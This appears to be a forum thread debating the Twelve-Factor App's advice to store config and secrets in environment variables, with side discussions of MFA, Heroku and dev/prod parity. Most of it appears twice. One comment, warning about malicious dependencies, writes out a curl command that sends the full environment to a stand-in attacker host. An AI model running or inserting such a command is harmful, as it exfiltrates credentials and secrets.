Still incredibly relevant. Even if you don’t apply it, there is so much to learn by reading this in 15 minutes.
The only grievance I have with this is Chapter 3: Config [1]
“Store config in the environment”, “Credentials to external services such as Amazon S3 or Twitter”
Besides being bad advice, this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files.
The unwritten assumption in 12 Factor is: the environment is secure. For example, a production system should always have a secure means of setting environment variables. Said another way: If a random dev can change an environment variable in production either directly by logging in or indirectly by pushing code then there is something very very wrong.
If the dev is pushing code to production they should not simultaneously be pushing environment configs, this is doing two logically distinct things at once: Changing application behavior AND reconfiguring the server environment.
If the dev is adding secrets to their local config and they’re pushing that config to insecure places that means their deployment pipeline is broken and it should be fixed. .env is never committed to source for this reason, for example.
> The unwritten assumption in 12 Factor is: the environment is secure.
Fair assumption.
Assuming no attackers and you're only running trusted code, I still maintain the environment is a poor place to keep secrets. Devs adding `{ meta: process.env }` to logs. Instrumentation/reporting libraries dumping the process (and the env) for crash reports. Trust that subprocesses + dependencies inheriting your environment are taking equal care to avoid these issues, too.
Unfortunately, with secrets in the OS env, you‘re one `printenv` or improperly written third party dependency that leaks env vars away from a security incident.
The env and more importantly what populates it should be secure, but security works best in layers. Sanitizing the env after loading it is a nicer middleground, k8s-style secrets materialized to files work best and are conceptually close enough to the OS env.
It's not my intuition that materializing secrets to files is a better way to protect them than just injecting them into the environment, where they don't persist.
Dev/shm is used to materialize them, and then you have the ability to isolate the downstream code you might use from accessing it by dropping permissions or sandboxing it away from a file. You cannot really hide your environment from anything in process, since it's such a low level construct.
Not at all clear why this is a better setup than a launcher shim that pulls secrets from a secret store and injects them into the environment as the program launches --- which is a pretty normal shape for these things to take.
I guess you could be thinking "subprocess inheritance" as a downside? But subprocesses often need secrets, and if you arrange for that with the filesystem you have the same problem. And, of course, files leak all the time.
More to the point, though: none of this has anything to do with whether you should add secrets to your .bashrc or whatever, which is the argument I'm seeing on the thread.
It doesn't need to be a traditional file. You can pass it as essentially a read-once file by using stdin. Depending on your desire for modernity, similar behavior can be obtained by leaving a file handle open for the exec-ed process to inherit, via a Unix socket, or even a lightweight TCP daemon.
The env is technically still kind of a file on linux at least (through /proc).
Sometimes I feel like stdin or an unlinked memory mapped file might be the best location for this stuff. Wish Linux had a cloexec+1 option, where an fd is closed after two execs, so you can set up a child process for success.
Adding on to what others say about printenv, various diagnostic tools (e.g. crash reporting stuff) will capture the environment. Env vars are just categorically so easy to accidentally leak that it can’t even be classed as an insecurity.
> Note that this definition of “config” does not include internal application config, such as config/routes.rb in Rails, or how code modules are connected in Spring. This type of config does not vary between deploys, and so is best done in the code.
I guess it depends on your definition of "behavior?" For example if the config is the endpoint address of an external resource, it's not really changing the application behavior per se.
It's more accurate to describe it as a "premise", not an assumption. It may not be true of every environment, but it's a very common norm (for instance, secrets management systems inject tokens and such through the environment).
You can reject the premise in your own environments, and then that part of 12 Factor doesn't apply to you.
Even putting secrets aside, the environment is a crappy place for config data.
It's got a maximum size cap, is trivially introspectable by via any process that can read `/proc`, and sucks at representing hierarchical or structured data beyond k=v.
The proliferation of tools that come up with all sorts of contortions to encode e.g. JSON-ish structures into the environment is evidence that this ain't a great way to go. I hope we're moving towards a container-orchestrator-by-default future; mounting structured data into pseudo-files at runtime is a really nice alternative.
I’d speculate that this was a product of its time (early Heroku days), and that a goal at the time was to get secrets out of source control. Which was an antipattern way back then.
Times have changed since then, and there’s much better tooling available to help with this problem space and surface area these days.
> this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files
Teach them to use dotenv.
We are moving away from configuration in config files because it is a pain to modify, especially if part of that configuration is secrets. You have to throw everything into your secrets vault of preference, and editing it requires extracting and reuploading the whole thing.
We are currently doing config in env by loading one or multiple secrets per kubernetes pod (mix and match).
My issue with the env is it's not a secret store. Dotenv is a delivery mechanism. If you're using it to put APP_BASE_URL or APP_PORT into your env, it's a very convenient one. If you're using dotenv to put SECRET_SIGNING_KEY into your env, it's as poor a delivery mechanism as ~/.bashrc is.
Processes and subprocesses inherit your environment. Too much can go wrong. Something as innocent as an error logging library adding `{ metadata: process.env }` to every line or as nefarious as `curl malicious.example.com -d "$(jq -n 'env')"` in a dependency you (or your agent) just pulled to test out in your local branch. Exfiltration is free. If you're loading secrets into your environment and _not explicitly cleaning it out immediately_, the security posture is trust & hope.
As patmorgan23 wrote in another comment "Secrets should go in a vault and retrieved with the help of a workload identity." Secrets management unfortunately isn't as easy as config management. I personally like sops[1].
Not a rhetorical question, just curious: Suppose you have all your secrets encrypted with sops. That secret that validates your application's identity, that it needs to use to get or decrypt the secrets, like an AWS keypair or similar, how do you provide that secret to the app?
It's pretty normal to keep secrets in a dedicated secret store, and then have the service launcher inject them from the secret store into the environment.
normal indeed but not what i'd consider a best practice anymore. we've moved away from any secrets in the env after the typical secrets leak when secrets popped up in some debug logging that hit datadog.
we now have a secret cache layer api and the app loads secrets securely at time of use from that api. there's also no secret-0 problem because we use IAM auth when calling the cache.
edit: for those wondering, api response time is sub 1ms (rust!)
Buy-into storing credentials into environment variables.
Then, and this is important - MANAGE YOUR ENVIRONMENTS.
You shouldn't have prod level s3, or aws creds accessible openly in your environment. If someone can steal those values, they can steal the code, and pretty much everything else. This is very bad.
For prod (and possibly staging), use a lib that loads in values securely from an actual secrets service.
"The environment" is not "environment variables" and not ".env files"
For cloud services, it would typically be called a vault. But it could also be a hardware security module (HSM) with bring-your-own-key (BYOK, eg for certificates.)
Ansible also calls it a vault and encrypts it with a password — that file you can check into version control.
The vault of the cloud provider would just inject the value of the environment variable securely so it doesn't have to be stored on-disk. What the parent poster wrote isn't wrong.
It's still completely correct. You don't have to use environment variables to store the environment. It can be stored in a secrets management system and loaded on-demand.
The point is that you must keep secrets, and anything environment-specific, out of the code. Follow the spirit of the law, not the letter.
Firmly agree. A lot of sibling comments are talking about environment mutation (which does have issues); I want to talk about environment read access.
The environment is a standard, locate-able, read-only at runtime k/v store in every process. That makes it an incredibly juicy target for exploits. There are tons of remote exploits well short of RCE which can access all or part of a server process's environment. If that environment contains secrets for everything that process might do, that's asking for trouble.
Consider a user-facing webserver with a rarely-used, admin-only route that talks to AWS APIs. Unless it's deployed on AWS and using IMDS, the 12-factor best practices say there should be AWS credentials in its environment.
Consider a service which, at startup, opens a connection to a telemetry/logging system, then drops privileges and handles requests. 12-factor best practices say there should be a secret for that telemetry system in its environment.
Additional examples abound. Most applications (even ones that aren't internet-facing web servers) use configured secrets infrequently--often only once, to open connections to external services--and not during the vast majority of requests they serve, but we put all secrets in the environment anyway.
Vaults don't automatically solve this problem either; many vaults provide secrets to applications by injecting them into process environment at start.
Good secret management at runtime should ideally be:
1. Mutable or at least delete-able. I really wish there were ways to remove environment variables after they're used (so I could say "once you have an authenticated, open socket or a refreshable auth token to $service, remove the initial login secret from memory entirely"), but absent highly complex multi-process/re-exec dances, that doesn't really exist. If, in Python, you 'del os.environ["foo"]', you haven't modified the environment segment of your program's memory.
2. Not in one common/uniform memory area or key-value API. Hell, it's slightly preferable to have secrets be stored piecemeal in regular variables in memory scattered around your code. Those are going to be slightly harder to find for malware that gets a foothold--security by obscurity, true, but the environment memory block/API is such a tempting and easy target that it buys you a bit more than a false sense of security here.
3. Ideally, stored or encrypted in memory (for secrets that have to stay in memory) such that an exploit which can read process memory doesn't get them for free. Some vaults have a host-local sidecar which provides secrets or a decryption key for them; that way, if an attacker gets memory-read without RCE they can't just exfil a memory image and figure out the decryption key later, but you don't have to be reliant on a remote networked service's uptime for all secret accesses. Even if you don't go that far, securing secrets in-memory at least gives you the option of doing zero-trust stuff based on request payloads, or even just making good-hygiene backend APIs that encode "you can only read the value for secret X if the request is for an admin route and authenticated" (which is a good idea for internet-exposed services with seldom-used risky secrets anyway, but doesn't help with parts 1 and 2 if that API is just wrapping env.get() or whatever).
I feel like people just think they should be doing all sorts of complicated stuff, and if they're not, they're somehow slacking off on security. You used to see the same thing with password hashes where people would write paragraphs about how they have salts and peppers and spices, passionately arguing for the necessity of each.
At the point where you're encrypting secrets in resident memory in a normal server program, you have gone fully into saffron-grade security. If you're worried about leaking secrets in your environment, overwrite the environment variable data and be done with it. In reality, if this is a real concern, unsetenv(3) is probably enough to avoid the actual attack vector --- a vulnerability where you leak environment variables qua environment variables (because you shell out or something).
Whatever vulnerability you're positing that leaks a secret out of arbitrary resident memory also leaks whatever secret you'd use to encrypt, and now you're not building a security system, you're building a DRM scheme. Don't let me yuck your yum on that, but: not a good ROI for security.
You're not wrong. My gripes above aren't a tacit accusation everyone is slacking off on security. I just wish we had standardized on better tools than env variables to make secrets a little more secure by default without requiring complicated stuff. But life goes on, most locks are more pickable than they should be, etc.
I do quibble with the statement that
> unsetenv(3) is probably enough to avoid the actual attack vector
It's not, because it doesn't modify the environment block of the process. Even if you use unsetenv, you're one path-traversal vuln away from folks being able to read all your startup-time secrets out of /proc/self/environ. Similar is true for exploits that can read process memory in small chunks: it takes time and risks detection to e.g. crawl around the stack/heap of who-knows-what-language to find interesting variables, but it's a lot easier to grab whatever's at the top of the stack by address (the env blob, which I think is also unmodified by most unsetenv(3) implementations). Path traversals and small-arbitrary-read exploits aren't exactly uncommon, and environment variables are the wp-admin/admin.php of exploit targets.
That's a quibble; you're broadly right, and that risk's not nearly severe enough to torture your code or bring in caching + encrypting runtime secret stores or whatnot.
I just wish env had been implemented without a /proc view and with reads requiring a cheap syscall rather than memory-residence, you know? Yeah, it's pointless to speculate about, but still seems like an obviously-preferable-in-retrospect road not taken.
Absolutely. This is why the env method is so attractive. It's simple and feels "free".
> doesn't every other way also suffer the same kind of issue
Not entirely. Accessibility (or dev ergonomics) and security are opposite ends of the same dial. As the other commenter wrote: a workload identity and a vault, and sharing the secrets between the two in a way that doesn't leave a plain-text trace for everyone to read (the environment is not private).
How does the running app instance get the workload identity?
The ways I can think of are (1) it's baked into the source code (worst possible security), (2) it's provided on the command line (also bad since command lines are visible to ps unless you do various OS-specific hijinks), (3) it's provided in an environment variable (no better than before), or (4) it's read from some well-known path (it seems to me that anything that could read a process's env vars could also read the contents of this file, so how is this more secure?)
Now that we use coding agents, you don't want to store secrets anywhere in the same VM, because that makes them vulnerable to exfiltration. The best way is to access external services via a proxy that holds the secrets.
Every time I leave my phone in the other room to “finally get some work done”, please enter this goddamn number we sent to your SMS, and I close my laptop.
The most obnoxious aspect of that: I specifically have my texts accessible on my laptop, but some 2fa authentication texts get blocked via that mechanism in favor of a message saying "look at this message on your phone".
My work uses “okta verify” for everything which is very helpful, as I can sue my work PC as a trusted device or fall back to a yubikey if not. 100x better than random SMS
I used to solve this with the Authy desktop app, now discontinued. I firmly believe MFA shouldn’t live in your password manager (what’s the point of MFA, then?). Thoughts on MFA options?
Google pushes "password" down 2 layers of their interface. If you really want to use a password to authenticate, it's not always a first class citizen.
Both Google and Microsoft call their apps Authenticator, so two identically named apps on my iPhone distinguishable only by logo.
Furthermore, if you login to 20 things a day (which I do), the codes are going to these apps, SMS, and email. Each different.. so if I'm on my Linux box, my Watch doesn't really help. If I leave my phone in the other room, I can't use the apps to get the code without going to the other room. If multi-tasking is expensive for the brain and attention, MFA is the computing surface equivalent.
You may have built a great MFA workflow, but I have to live with 3-10 variations of workflows all day long, including puzzles. And it's more aggravating when I have to MFA to your service to get my information. My machine is in my house and nobody's been in my house but every_single_login requires me to pretend that in every moment of every day someone may have stolen my laptop and my finger.
My work machine will let me auth with my fingerprint, but the typical enterprise integration of all the things means I still have to click through 3-4 screens to get to where the fingerprint is accepted.
Services and APIs don't MFA.. they have keys and other restrictions for seamlessness. Where's the seamlessness solution for humans?
Passkeys are cool, but they're not ubiquitous enough yet, and the interface between desktop and mobile (even using 1Password for universal passkeys) wouldn't qualify as solved in my book.
Personally I hate when I use a passkey but then still get hit with an SMS second factor step. A passkey should be enough, unless I'm changing my recovery email or withdrawing a million dollars or something. Also there's still a lot of really bad UX around passkeys, both by browser/OS vendors and by individual apps, and unimplemented features like sharing.
Passkeys are the right thing but they need more work.
I totally believe that someone has gotten it this wrong, but personally I've never seen an SMS 2FA on a Passkey authentication. My most common Passkey complaint is that a service doesn't support them yet.
The problem is the "M." Anything beyond a single factor is unnecessarily painful. Make the single factor good (passkeys or FIDO2 or whatever) and the problem is solved without "M."
Heroku seemed like it was going to be the future back then. Every time I find myself struggling to understand some nonsense in Azure I dream of the simpler future we lost.
They got painfully expensive and then acquired. I still remember the arguments with clients and finally went all in AWS ECS, which is still quite pricey but clients seem to complain less about the Amazon bill then they did about Heroku.
Its interesting how this felt so natural and right way to do software. I remember people referencing it as the north star. And then gradually people came close to it but moved past it. Personally I feel that these concepts require to have generalist mindset aka application architect. What we have as of today are lot of product engineers within teams, product managers and management. The product engineers do not always have enough leverage or incentives to push for these kind of concepts.
And still at the same time these concepts feel like so much carved in stone that one way or another everyone is going to keep discovering them again.
.env as we know is full of problems... BUT! check out varlock (https://varlock.dev) - it's free and open source, and we have really modernized and adapted the familiar syntax (a small DSL on top) to make it much better.
Has built-in validation, type-safety, composition via functions, loading with plugins, leak prevention, and much more.
I think the idea to use the environment is misguided in general.
The environment was only ever good for things like GOMAXPROCS where you want a single point of truth for all processes on a machine but in a containerized world even that point is moot. Where regular config in the environment just problematic it is outright dangerous for secrets.
I won't disagree that it comes with security tradeoffs and depending on the situation it can definitely be a problem. But in many cases with how people deploy lots of software - most PaaS and things like lambdas / cloudflare workers, etc - it's absolutely fine. With varlock, we can even swap out the secret delivery mechanism at the end - but you still get a schema and familiar interface for how it all works.
Good best practices, mostly, but I feel the 12FA model totally punted on state by defining it out of scope: "state is over there in that external service, three-monkeys-emoji".
Yeah but sometimes state is the entire point and you need to manage it yourself, and then some of your processes must be 9 or 10 factor as a result.
Is it devs that haven't internalized this? Or management? Because I'd love to do this, but I always report to people who demand that everything be done in "a few days".
I'm debating the tradeoff for secret management in my app as well. Storing it is easy you just need encryption and it's mostly good. But delivering it is tricky. Delivery via env is simple for sure but can get leaked. The other route would be a job scoped signature, but this doesnt stop the job from printing the secret out, it only shrinks the blast radius.
But if you delete the secret after the job is done or deployment is up, it's pretty much the same result
+1. I saw the 2025 suffix and fact that it was on the original domain and hoped they released a v2 to carry us through the world of Platform Engineering, Observability 2.0, Kubernetes vs Serverless, etc.
> X. Dev/prod parity
> Keep development, staging, and production as similar as possible
Gets interesting at the seams of software & data environments. If my preprod stack operates independently of my prod stack (due to different internal users), but preprod data stack is best tested on prod data, the seams of these two things imply there should be a separate data stack for both preprod data versus preprod-internal.
Generally pro 12-FA, but it's very service dev oriented.
I know an e-commerce company where the staging environment was completely hijacked by product managers to "stage" their data. They've even convinced management to ask IT to build a tool for migrating data from staging to production. All of this just to avoid building a proper release flow for (product-)data.
I know that all of this is super relevant, but it's extremely aspirational, and I can pick apart pretty much every one of these factors on how it doesn't fully hold up when it comes to the reality of production applications.
Every time it gets posted I read through the list and think "export services via port binding… of course a web server binds to a port, of course it‘s decoupled that way, what else would you do" and "treat backing services as attached resources… huh, is that really only about not linking in a database, but connecting using a JDBC string, for example?"
So let me ask for once: what am I missing? Why is that interesting and not trite?
If you go far enough back in time (this dates back to at least 2011), it's arguing against things like:
For port binding, for example, it used to be that you'd deploy your app to the web application container, rather than bundling them together. e.g., deploying your WAR file to Tomcat, rather than building a self-executing JAR which included Tomcat. The wording is a bit odd, but I think they were trying to make the point very generic, and not specifically about the Enterprise Java world.
For the backing resources, it's a combination of point 3, config often living inside the codebase, applications just shelling out to /usr/sbin/sendmail or what have you, and applications living on the same host as the DB, such that bringing up a new application necessarily required bringing up a new DB as well. Which also made it hard it to scale horizontally.
The whole "12 Factor" thing was partly because Heroku had specific solutions for all of these, so going down this road made it much easier to then sell Heroku, and partly because they really were frustrating. I'd say that the port binding one is more targeted at, say, WebSphere, and all that came along with it, such as sharing a single heap across multiple apps, needing to talk to the WebSphere admins to change configuration, needing to use a "lite" version of WebSphere to test locally, if that was even possible, and so on.
They sound super-obvious these days, but at the time, for a lot of us, they were really nice to see.
I think backing services as attached resources was opposed to the practice of having your DB, and cache, and whatnot managed and maintained by a completely separate team and not really treated as part of the application. Even the schema changes.
The port binding was really a response to tomcat or modphp being modules in the webserver, as opposed to hosting their own web service internally. This was before nginx took off, and proxying to internal application ports was common.
edit:
I was wrong about the backing services, it seems it is really about treating them as configurations and being able to swap them out without making code changes.
The same reason many older films seem cliche - because they were the first to do it, and it's accepted standard now. Heroku very much shaped how we think of "cloud applications", autoscaling, and containerization.
I appreciate you giving those examples, I was searching for something like that, seat belts in particular were controversial to a degree that is absolutely difficult to imagine these days, I think, even having lived through it as a kid.
In older architectures you would expose services as libraries and everything ran in one UBER process… eg JBoss and ASP.. it also covered off on web server processing like cold fusion and php.
> X. Dev/prod parity Keep development, staging, and production as similar as possible
Notably, there is no requirement or recommendation that the dev environment be a single, shared environment. Development processes where this environment is single is shared is as terrible as it is ubiqitous.
While this is and has always been outstanding advice, be aware different readers tend to comprehend that advice differently. Make sure you understand your approach moving forward; do further research and hold discussions with seniors.
Storing config in environment variables is just such an incredibly obviously awful thing to do I can't recommend that anyone listens to this advice. Maybe some of the other things are good practice... honestly I don't remember... but once I saw that I immediately noped out.
Would you get advice from an antivaxxer? Like, maybe they do have good advice but it's still a good idea to get your advice elsewhere!
Still incredibly relevant. Even if you don’t apply it, there is so much to learn by reading this in 15 minutes.
The only grievance I have with this is Chapter 3: Config [1] “Store config in the environment”, “Credentials to external services such as Amazon S3 or Twitter”
Besides being bad advice, this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files.
Stop doing this. Do the other 11.5 factors.
[1]: https://12factor.net/config
The unwritten assumption in 12 Factor is: the environment is secure. For example, a production system should always have a secure means of setting environment variables. Said another way: If a random dev can change an environment variable in production either directly by logging in or indirectly by pushing code then there is something very very wrong.
If the dev is pushing code to production they should not simultaneously be pushing environment configs, this is doing two logically distinct things at once: Changing application behavior AND reconfiguring the server environment.
If the dev is adding secrets to their local config and they’re pushing that config to insecure places that means their deployment pipeline is broken and it should be fixed. .env is never committed to source for this reason, for example.
> The unwritten assumption in 12 Factor is: the environment is secure.
Fair assumption.
Assuming no attackers and you're only running trusted code, I still maintain the environment is a poor place to keep secrets. Devs adding `{ meta: process.env }` to logs. Instrumentation/reporting libraries dumping the process (and the env) for crash reports. Trust that subprocesses + dependencies inheriting your environment are taking equal care to avoid these issues, too.
Unfortunately, with secrets in the OS env, you‘re one `printenv` or improperly written third party dependency that leaks env vars away from a security incident.
The env and more importantly what populates it should be secure, but security works best in layers. Sanitizing the env after loading it is a nicer middleground, k8s-style secrets materialized to files work best and are conceptually close enough to the OS env.
It's not my intuition that materializing secrets to files is a better way to protect them than just injecting them into the environment, where they don't persist.
Dev/shm is used to materialize them, and then you have the ability to isolate the downstream code you might use from accessing it by dropping permissions or sandboxing it away from a file. You cannot really hide your environment from anything in process, since it's such a low level construct.
Thus it's easier to leak environment unintentionally, leaking file contents takes effort.
Not at all clear why this is a better setup than a launcher shim that pulls secrets from a secret store and injects them into the environment as the program launches --- which is a pretty normal shape for these things to take.
I guess you could be thinking "subprocess inheritance" as a downside? But subprocesses often need secrets, and if you arrange for that with the filesystem you have the same problem. And, of course, files leak all the time.
More to the point, though: none of this has anything to do with whether you should add secrets to your .bashrc or whatever, which is the argument I'm seeing on the thread.
Have you seen this where eBPF patches secrets inside TLS send buffers? https://github.com/spinningfactory/kloak
Now you have to be much more clever to leak them :)
It doesn't need to be a traditional file. You can pass it as essentially a read-once file by using stdin. Depending on your desire for modernity, similar behavior can be obtained by leaving a file handle open for the exec-ed process to inherit, via a Unix socket, or even a lightweight TCP daemon.
The env is technically still kind of a file on linux at least (through /proc).
Sometimes I feel like stdin or an unlinked memory mapped file might be the best location for this stuff. Wish Linux had a cloexec+1 option, where an fd is closed after two execs, so you can set up a child process for success.
Only in the sense that everything is technically a kind of a file given access to proc.
(Edit: I need to read up on this better)
systemd-creds too, for anyone who has not found it yet like I was a week ago.
> you‘re one `printenv` or improperly written third party dependency that leaks env vars away from a security incident.
Game over already if anyone can run commands or arbitrary code. Not using the environment won't help you.
Adding on to what others say about printenv, various diagnostic tools (e.g. crash reporting stuff) will capture the environment. Env vars are just categorically so easy to accidentally leak that it can’t even be classed as an insecurity.
> Changing application behavior
Configuration changes also change application behavior, otherwise is it really “config”?
> Note that this definition of “config” does not include internal application config, such as config/routes.rb in Rails, or how code modules are connected in Spring. This type of config does not vary between deploys, and so is best done in the code.
I guess it depends on your definition of "behavior?" For example if the config is the endpoint address of an external resource, it's not really changing the application behavior per se.
The assumption is the vector. Why assume?
It's more accurate to describe it as a "premise", not an assumption. It may not be true of every environment, but it's a very common norm (for instance, secrets management systems inject tokens and such through the environment).
You can reject the premise in your own environments, and then that part of 12 Factor doesn't apply to you.
Even putting secrets aside, the environment is a crappy place for config data.
It's got a maximum size cap, is trivially introspectable by via any process that can read `/proc`, and sucks at representing hierarchical or structured data beyond k=v.
The proliferation of tools that come up with all sorts of contortions to encode e.g. JSON-ish structures into the environment is evidence that this ain't a great way to go. I hope we're moving towards a container-orchestrator-by-default future; mounting structured data into pseudo-files at runtime is a really nice alternative.
I’d speculate that this was a product of its time (early Heroku days), and that a goal at the time was to get secrets out of source control. Which was an antipattern way back then.
Times have changed since then, and there’s much better tooling available to help with this problem space and surface area these days.
> this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files
Teach them to use dotenv.
We are moving away from configuration in config files because it is a pain to modify, especially if part of that configuration is secrets. You have to throw everything into your secrets vault of preference, and editing it requires extracting and reuploading the whole thing.
We are currently doing config in env by loading one or multiple secrets per kubernetes pod (mix and match).
What would be your suggestion?
My issue with the env is it's not a secret store. Dotenv is a delivery mechanism. If you're using it to put APP_BASE_URL or APP_PORT into your env, it's a very convenient one. If you're using dotenv to put SECRET_SIGNING_KEY into your env, it's as poor a delivery mechanism as ~/.bashrc is.
Processes and subprocesses inherit your environment. Too much can go wrong. Something as innocent as an error logging library adding `{ metadata: process.env }` to every line or as nefarious as `curl malicious.example.com -d "$(jq -n 'env')"` in a dependency you (or your agent) just pulled to test out in your local branch. Exfiltration is free. If you're loading secrets into your environment and _not explicitly cleaning it out immediately_, the security posture is trust & hope.
As patmorgan23 wrote in another comment "Secrets should go in a vault and retrieved with the help of a workload identity." Secrets management unfortunately isn't as easy as config management. I personally like sops[1].
[1] https://github.com/getsops/sops
Not a rhetorical question, just curious: Suppose you have all your secrets encrypted with sops. That secret that validates your application's identity, that it needs to use to get or decrypt the secrets, like an AWS keypair or similar, how do you provide that secret to the app?
It's not a secret store. It's an IPC mechanism. Secret stores are built on top of it.
Yeah, secrets should be fetched by application code from a secret store (aws secrets manager, vault, etc) using an identity. Put in a pull request.
100% this.
1. Keep secrets in a dedicated secrets store.
2. Read directly from the secrets store in application code. There is no environment, there are no environment variables. Yes, even on local.
Well you’ll need to know the path in the secret store, so store the path in the environment.
It's pretty normal to keep secrets in a dedicated secret store, and then have the service launcher inject them from the secret store into the environment.
normal indeed but not what i'd consider a best practice anymore. we've moved away from any secrets in the env after the typical secrets leak when secrets popped up in some debug logging that hit datadog.
we now have a secret cache layer api and the app loads secrets securely at time of use from that api. there's also no secret-0 problem because we use IAM auth when calling the cache.
edit: for those wondering, api response time is sub 1ms (rust!)
Just to clarify - for every seperate read, update or write to your database - you setup and teardown a new connection?
Disagree, partially.
Buy-into storing credentials into environment variables.
Then, and this is important - MANAGE YOUR ENVIRONMENTS.
You shouldn't have prod level s3, or aws creds accessible openly in your environment. If someone can steal those values, they can steal the code, and pretty much everything else. This is very bad.
For prod (and possibly staging), use a lib that loads in values securely from an actual secrets service.
"The environment" is not "environment variables" and not ".env files"
For cloud services, it would typically be called a vault. But it could also be a hardware security module (HSM) with bring-your-own-key (BYOK, eg for certificates.)
Ansible also calls it a vault and encrypts it with a password — that file you can check into version control.
Confidently wrong. Did you read the source I linked?
> The twelve-factor app stores config in environment variables
The vault of the cloud provider would just inject the value of the environment variable securely so it doesn't have to be stored on-disk. What the parent poster wrote isn't wrong.
The parent poster is wrongly quoting me to say the original post doesn't mean “env var”. Yes, it does mean env var.
It's still completely correct. You don't have to use environment variables to store the environment. It can be stored in a secrets management system and loaded on-demand.
The point is that you must keep secrets, and anything environment-specific, out of the code. Follow the spirit of the law, not the letter.
Firmly agree. A lot of sibling comments are talking about environment mutation (which does have issues); I want to talk about environment read access.
The environment is a standard, locate-able, read-only at runtime k/v store in every process. That makes it an incredibly juicy target for exploits. There are tons of remote exploits well short of RCE which can access all or part of a server process's environment. If that environment contains secrets for everything that process might do, that's asking for trouble.
Consider a user-facing webserver with a rarely-used, admin-only route that talks to AWS APIs. Unless it's deployed on AWS and using IMDS, the 12-factor best practices say there should be AWS credentials in its environment.
Consider a service which, at startup, opens a connection to a telemetry/logging system, then drops privileges and handles requests. 12-factor best practices say there should be a secret for that telemetry system in its environment.
Additional examples abound. Most applications (even ones that aren't internet-facing web servers) use configured secrets infrequently--often only once, to open connections to external services--and not during the vast majority of requests they serve, but we put all secrets in the environment anyway.
Vaults don't automatically solve this problem either; many vaults provide secrets to applications by injecting them into process environment at start.
Good secret management at runtime should ideally be:
1. Mutable or at least delete-able. I really wish there were ways to remove environment variables after they're used (so I could say "once you have an authenticated, open socket or a refreshable auth token to $service, remove the initial login secret from memory entirely"), but absent highly complex multi-process/re-exec dances, that doesn't really exist. If, in Python, you 'del os.environ["foo"]', you haven't modified the environment segment of your program's memory.
2. Not in one common/uniform memory area or key-value API. Hell, it's slightly preferable to have secrets be stored piecemeal in regular variables in memory scattered around your code. Those are going to be slightly harder to find for malware that gets a foothold--security by obscurity, true, but the environment memory block/API is such a tempting and easy target that it buys you a bit more than a false sense of security here.
3. Ideally, stored or encrypted in memory (for secrets that have to stay in memory) such that an exploit which can read process memory doesn't get them for free. Some vaults have a host-local sidecar which provides secrets or a decryption key for them; that way, if an attacker gets memory-read without RCE they can't just exfil a memory image and figure out the decryption key later, but you don't have to be reliant on a remote networked service's uptime for all secret accesses. Even if you don't go that far, securing secrets in-memory at least gives you the option of doing zero-trust stuff based on request payloads, or even just making good-hygiene backend APIs that encode "you can only read the value for secret X if the request is for an admin route and authenticated" (which is a good idea for internet-exposed services with seldom-used risky secrets anyway, but doesn't help with parts 1 and 2 if that API is just wrapping env.get() or whatever).
I feel like people just think they should be doing all sorts of complicated stuff, and if they're not, they're somehow slacking off on security. You used to see the same thing with password hashes where people would write paragraphs about how they have salts and peppers and spices, passionately arguing for the necessity of each.
At the point where you're encrypting secrets in resident memory in a normal server program, you have gone fully into saffron-grade security. If you're worried about leaking secrets in your environment, overwrite the environment variable data and be done with it. In reality, if this is a real concern, unsetenv(3) is probably enough to avoid the actual attack vector --- a vulnerability where you leak environment variables qua environment variables (because you shell out or something).
Whatever vulnerability you're positing that leaks a secret out of arbitrary resident memory also leaks whatever secret you'd use to encrypt, and now you're not building a security system, you're building a DRM scheme. Don't let me yuck your yum on that, but: not a good ROI for security.
You're not wrong. My gripes above aren't a tacit accusation everyone is slacking off on security. I just wish we had standardized on better tools than env variables to make secrets a little more secure by default without requiring complicated stuff. But life goes on, most locks are more pickable than they should be, etc.
I do quibble with the statement that
> unsetenv(3) is probably enough to avoid the actual attack vector
It's not, because it doesn't modify the environment block of the process. Even if you use unsetenv, you're one path-traversal vuln away from folks being able to read all your startup-time secrets out of /proc/self/environ. Similar is true for exploits that can read process memory in small chunks: it takes time and risks detection to e.g. crawl around the stack/heap of who-knows-what-language to find interesting variables, but it's a lot easier to grab whatever's at the top of the stack by address (the env blob, which I think is also unmodified by most unsetenv(3) implementations). Path traversals and small-arbitrary-read exploits aren't exactly uncommon, and environment variables are the wp-admin/admin.php of exploit targets.
That's a quibble; you're broadly right, and that risk's not nearly severe enough to torture your code or bring in caching + encrypting runtime secret stores or whatnot.
I just wish env had been implemented without a /proc view and with reads requiring a cheap syscall rather than memory-residence, you know? Yeah, it's pointless to speculate about, but still seems like an obviously-preferable-in-retrospect road not taken.
"saffron-grade security" is pretty good, too.
> Besides being bad advice
What makes it bad advice?
> this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files
You need some way to pass secrets to the app; doesn't every other way also suffer the same kind of issue?
> You need some way to pass secrets to the app
Absolutely. This is why the env method is so attractive. It's simple and feels "free".
> doesn't every other way also suffer the same kind of issue
Not entirely. Accessibility (or dev ergonomics) and security are opposite ends of the same dial. As the other commenter wrote: a workload identity and a vault, and sharing the secrets between the two in a way that doesn't leave a plain-text trace for everyone to read (the environment is not private).
I like sops: https://github.com/getsops/sops
Secrets should go in a vault and retrieved with the help of a workload identity.
How does the running app instance get the workload identity?
The ways I can think of are (1) it's baked into the source code (worst possible security), (2) it's provided on the command line (also bad since command lines are visible to ps unless you do various OS-specific hijinks), (3) it's provided in an environment variable (no better than before), or (4) it's read from some well-known path (it seems to me that anything that could read a process's env vars could also read the contents of this file, so how is this more secure?)
Now that we use coding agents, you don't want to store secrets anywhere in the same VM, because that makes them vulnerable to exfiltration. The best way is to access external services via a proxy that holds the secrets.
exe.dev has a zillion of them: https://exe.dev/docs/integrations
I really thought this would be a 12 layer MFA demo showing the absurdity of our current painful & unsustainable MFA trends.
Every time I leave my phone in the other room to “finally get some work done”, please enter this goddamn number we sent to your SMS, and I close my laptop.
The most obnoxious aspect of that: I specifically have my texts accessible on my laptop, but some 2fa authentication texts get blocked via that mechanism in favor of a message saying "look at this message on your phone".
Gets worse. A lot of accounts were set up by my boss so it's all his 2FA. Then some of these require the phone to scan a QR-Code. We work remotely.
That drives me crazy. The RBC app does this although it eventually times out and gives me the number.
The worst part is: why are they sending me an SMS when I never agreed to it and didn’t configured that as an MFA option?
My work uses “okta verify” for everything which is very helpful, as I can sue my work PC as a trusted device or fall back to a yubikey if not. 100x better than random SMS
